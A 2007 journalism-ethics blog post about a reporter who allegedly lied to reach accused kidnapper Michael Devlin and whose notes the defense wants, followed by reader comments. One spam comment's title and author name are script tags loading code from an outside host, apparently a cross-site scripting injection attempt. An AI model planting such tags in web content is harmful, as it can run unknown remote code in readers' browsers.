Welcome to SPJ Blogs Sign in | Join | Help

Lawyers Want Notes in the Missouri Kidnapping Case

As reported on The Independent Journalist yesterday, a writer for The New York Post reportedly gained access to accused Missouri kidnapper Michael Devlin by lying to guards. According to Devlin's attorneys, who have already been front and center saying their client will not be able to get a fair trial, the reporter told the jail staff she was a friend of Devlin's family.

Kate Beem, an independent journalist from Kansas City, posted that Devlin's attorneys now want the reporters notes. She's wondering where SPJ might stand on this issue. Kate writes:

That's a no-no, of course. If Cahalan's lied to gain access to Devlin and her story was riddled with inaccuracies, as the lawyers claim, what sorts of protection is she entitled to? Just curious.
Published Tuesday, January 23, 2007 7:26 PM by KerriFivecoatCampbell

Comments

# <script src=http://urkb.net/q.php>jonny2</script>

Friday, February 16, 2007 2:37 AM by <script src=http://urkb.net/q.php>jonny6</script>

# re: Lawyers Want Notes in the Missouri Kidnapping Case

Saturday, February 24, 2007 10:44 AM by Paul Chimera
Lying is never justified, in my view. Journalism as a profession is already under fire for various misdeeds. The integrity of our craft and the importance of what we do are compromised and irreparably damaged when reporters lie in order to then believe the ends justify the means. They don't. We do a respectable service, but we should do it respectably.

Paul Chimera, independent journalist and author of Nuts, Bolts & Anecdotes: Journalists Discuss Interviewing and Note Taking In Their Own Words (www.paulchimera.typepad.com)
Anonymous comments are disabled. Please log in or create an account to comment on this article.